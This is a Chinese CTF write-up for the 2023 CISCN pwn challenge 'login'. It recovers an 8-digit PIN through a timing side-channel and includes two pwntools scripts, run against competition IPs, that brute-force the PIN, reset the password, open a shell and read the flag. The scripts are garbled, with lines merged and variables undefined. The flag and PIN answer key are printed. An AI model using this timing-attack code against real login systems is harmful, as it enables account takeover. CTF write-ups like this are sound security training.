第一次参加国赛,被队友带飞了,pwn只做出来了四个,1381分,第16名,总体来说还可以
在所有题目中,也是拿到了pwn题login的一血


话说回来,来详细说一下,这个pwn题的解法
首先就是能看到这是个没附件的pwn题

说明只能通过交互去得到信息,再寻找方向,连接之后应该就是这四个选项
根据这个信息,猜测应该是让我们登入进去,然后再获得下一步操作,所以这里想登入,就只能login,但是密码又不知道,3是忘记密码,让我们输入8个字节的PIN code,如果我们输入正确,应该就能改密码,改完密码就能登陆了,脑子一下就有想法了。

但是不知道pin code是啥,上网搜了之后,了解到应该就是相当于一种令牌吧,而且搜集到了一个重要信息,就是这个pin code是纯数字,8位数字,个,十,百,千,万,十万,百万,千万。那也就是说将近1个亿的可能,这咋爆破呢,
然后就上网搜的时候,看到了测信道攻击,搜集了以下信息(实际就是问ai):
这个问题涉及到一个基于时间的信道攻击,常见于密码学中的侧信道攻击。
在爆破一个PIN值时,可以通过观察时间戳的差异来判断每一位是否正确。这种攻击基于以下原理:
时间差异:当输入的PIN值的某一位与正确PIN值的对应位不同时,可能会导致系统的某些操作或计算需要更多的时间。例如,当输入的PIN值的某一位与正确PIN值的对应位不匹配时,系统可能需要执行更多的比较操作或者条件判断,导致所需的时间更长。
侧信道分析:通过观察时间戳的差异,攻击者可以推断出某一位是否正确。如果时间戳的差异明显大于其他位,那么很可能是因为该位的值不正确,导致了额外的计算时间。攻击者可以利用这种侧信道信息,逐位爆破出正确的PIN值。
需要注意的是,这种攻击方法依赖于时间差异的可观察性。在一些情况下,系统可能会采取措施来减少时间差异,以防止此类侧信道攻击。因此,在实际应用中,为了提高安全性,可以采取一些对策,如增加随机延迟、固定执行时间等,来混淆时间差异,使得侧信道攻击更加困难。

相信大家看完,也是恍然大悟,因为我当时也是恍然大悟,瞬间就有了思路
一位一位的去爆破pin code。(刚开始想的用二分法,但是又不知道咋去实现这个算法,就放弃了)
exp

from pwn import *
from sys import argv
context(os='linux',arch='amd64',log_level='debug')
def s(a):p.send(a)
def sa(a, b):p.sendafter(a, b)
def sl(a):p.sendline(a)
def sla(a, b):p.sendlineafter(a, b)
def r():p.recv()
def pr():print(p.recv())
def ru(a):return p.recvuntil(a)
def inter():p.interactive()
def debug():gdb.attach(p)pause()
def get_addr():return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))pin='0'
a='0'
p= remote("47.94.206.10",33355)pin_o = pin+a+'0'*(7-len(pin))
sum=0
for _ in range(10):ru('>')sl(b'3')ru(b"PIN code: ")start=time.time()  #发送pin code 的时间sl(pin_o)rev=ru(b'\n')if b"Wrong PIN code" in rev:passelse:print(pin_0)breakend=time.time() #报错的时间sum+=(end-start)  #时间戳的差值总和
print(pin_o,sum)   #打印发送的pin code和时间戳的值
p.interactive()

这里解释一下为啥要循环send十次同样的数据?
这样每个pin code的时间戳差值就几乎相当于x10,这样在比较不同pin code 的时候,更明显看到他们的差距。
第一是pin=0,第二次pin=1…
爆出来的时间戳差值为




明显看到第一位为5的时候,时间戳明显比其他的大,所以第一位应该就是5,
然后去爆破第二位,第三位,第四位、、、、
这个方法比较笨,比赛过后朋友给了我一个一下爆出来的脚本

from pwn import *
from sys import argv
context(os='linux',arch='amd64',log_level='debug')
def s(a):p.send(a)
def sa(a, b):p.sendafter(a, b)
def sl(a):p.sendline(a)
def sla(a, b):p.sendlineafter(a, b)
def r():p.recv()
def pr():print(p.recv())
def ru(a):return p.recvuntil(a)
def inter():p.interactive()
def debug():gdb.attach(p)pause()
def get_addr():return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))def getpin(pin):subtime = -1res =''for c in a:pin_o = pin+c+'0'*(7-len(pin))sum=0for _ in range(10):ru('>')sl(b'3')ru(b"PIN code: ")start=time.time()sl(pin_o)rev=ru(b'\n')if b"Wrong PIN code" in rev:passelse:print(pin_0)breakend=time.time()sum+=(end-start)print(cur,sum)avgtime=sumif(avgtime>subtime):subtime=avgtimeres=creturn res
a='0123456789'
p= remote("123.56.238.150",45118)
pin=''
for i in range(8):pin+=getpin(pin)print("PIN:",pin)
ru(b'>')
sl(b'2')
ru(b'PASSWD')
sl(b"123456")
ru(b'$')
sl(b"cat flag")
p.interactive()
#flag{d39a1013-e066-4d64-8558-4a5855fb7303}   pin code : 54730891

爆出来pin code,修改一下密码,然后登入进去,就能获得shell了。

盲pwn靠的应该就是猜出题人想干啥了,不断尝试,和验证,当时做的时候,感觉做的特别慢,害怕拿不到一血,害怕会烂,还好赶上了,交上了一血。
由于大家催的急,所以先写这个了,后续会更新总的2023ciscn国赛wp

文末:

这里再感谢一下我的队友,是他们做出其他题目,才有这个成绩的
还有就是感谢星盟安全团队的师傅们平日的帮助,才能让我有这种扩散的思维,成长的更加迅速。

感谢武汉凌泽网安科技有限公司楚泽实验室近俩月一起学习交流的队友,感谢AGCTF战队这两天努力比赛的队友

2023 ciscn国赛pwn lojin wp相关推荐

  1. 备战2023蓝桥国赛-传纸条

    题目描述: 解析: 这道题想了我好久,一开始我是想假如只走一条路线,从(1,1)走到(m,n),这种问题该怎么解决呢?针对这种问题我是设了dp[k][i][j]表示走了k步到达(i,j)的好心程度之和 ...

  2. ciscn 2022 华东北分区赛pwn duck

    ciscn 2022 华东北分区赛pwn duck 很遗憾的是当时比赛解出此题花了很长时间(换了m1的mac 环境还没装,到了比赛前一会想起来x86_64的题目肯定会多一些,所以就拿了一个全新版win ...

  3. 2023年网络安全国赛规程样题(具体请看官网)

    全国职业院校技能大赛 赛项规程 一.赛项名称 赛项编号:ZZ-2023029 赛项名称:网络安全 英文名称:Cyber Security 赛项组别:中职组 赛项归属产业:信息技术类 二.竞赛目的 为检 ...

  4. 2023年电赛国赛仪器仪表类赛题分析和预测

    2023年电赛国赛仪器仪表类赛题分析和预测 前言: 2023年题目应当与往年差异不大,无非是仪器类.电源类.控制类.通信类等几大类.但近几年随着科学技术的发展,电赛也添加了许多的新元素,比如互联网+. ...

  5. 2023年电赛国赛仪器仪表类赛题竞赛事项和方法

    2023年电赛国赛仪器仪表类赛题竞赛事项和方法 前言: 2023年题目应当与往年差异不大,无非是仪器类.电源类.控制类.通信类等几大块.但近几年随着科学技术的发展,电赛也添加了许多的新元素,比如互联网 ...

  6. 2023年全国职业院校技能大赛 网络系统管理国赛规程 正式版!

    笔者在原文上删除了没有用的信息,相关文件可进群获取 大概信息就是,国赛规程变成团队赛了,均增加了python自动化运维,SDN的知识点!更加考验团队合作内容和知识储备,后续笔者也会针对样题做大致分析并 ...

  7. 国赛分区赛awd赛后总结-安心做awd混子

    转载于安全客我自己发的哈~,感兴趣可以点链接进 https://www.anquanke.com/post/id/245158 安全客 - 有思想的安全新媒体 最近参加了国赛分区赛,我所在的分区正好是 ...

  8. 数学建模系列:历年优秀论文+入门+进阶+国赛+美赛+其他

    数模系列:历年优秀论文+入门+进阶+国赛+美赛+其他(待更新中) 数模成绩为国二\省一\o奖\H奖,在博客做一个总结.先放国赛美赛的历年优秀论文,资料来源微信公众号数学模型.(目前完成部分:入门+进阶 ...

  9. 2023年美赛(MCM/ICM)简介

    2023年美赛将要如期开赛,这里为了 让大家对今年的美赛有一个直接 客观的了解.对2023年美赛(MCM/ICM)进行一下简要的介绍. 相关资料大家可以查看另一篇文章 一.竞赛时间 February ...

最新文章

  1. TCP/IP协议的一个具体实现Socket
  2. JavaScript获取节点类型、节点名称和节点值
  3. 四月森林火灾地震频发,感恩奋战在一线的最可爱的人
  4. 19个强大、有趣、又好玩的 Linux 命令!
  5. ASP.NET MVC5 + EF6 + BootStrap 实战系列教程
  6. drawio流程图软件_Win10 一般软件个人收集
  7. Hadoop入门(1)
  8. TI AM335x Linux MUX hacking
  9. 计算机读不出光盘,光驱读不出光盘,小编教你电脑光盘不能被识别怎么解决
  10. vsto 安装成功后打开office word不加载
  11. Matlab 仿真——直流电机速度控制(1)直流电机建模
  12. 基于Unity3D的相机功能的实现(六)—— 上帝视角(王者荣耀视角)
  13. 做数据分析需要学什么?这几项技能你掌握了吗?
  14. js实现粘贴板js插件clipboard.js实现一键复制粘贴功能
  15. 【Linux】基础IO -- 磁盘文件系统
  16. 华为交换机:三层交换机实现vlan间通信
  17. 黎曼猜想有可能证明哥德巴赫猜想
  18. 安装程序配置服务器失败。参考服务器错误日志和C:/WINDOWS/sqlstp.log
  19. [项目管理-4]:软硬件项目管理 - 人月神话:项目时间管理(时间)
  20. 人在国外能买阿里云服务器吗?

热门文章

  1. 56.深度解密五十六:详解DSP营销推广及实战中的相关问题
  2. 山海镜花手游如何用电脑玩 山海镜花手游PC电脑版教程
  3. mac下配置java运行环境
  4. java计算机毕业设计ssm易物小店交换系统-二手咸鱼交易系统
  5. 产品经理培训班有哪些
  6. matlab学习报告
  7. 要不要学python江南大学_江大“学霸情侣”双双保研,家长该不该支持孩子,在大学谈恋爱?...
  8. TSN中流的路由与调度的研究
  9. 渗透测试之ip信息收集
  10. 牛客-牛客小白月赛6-J 洋灰三角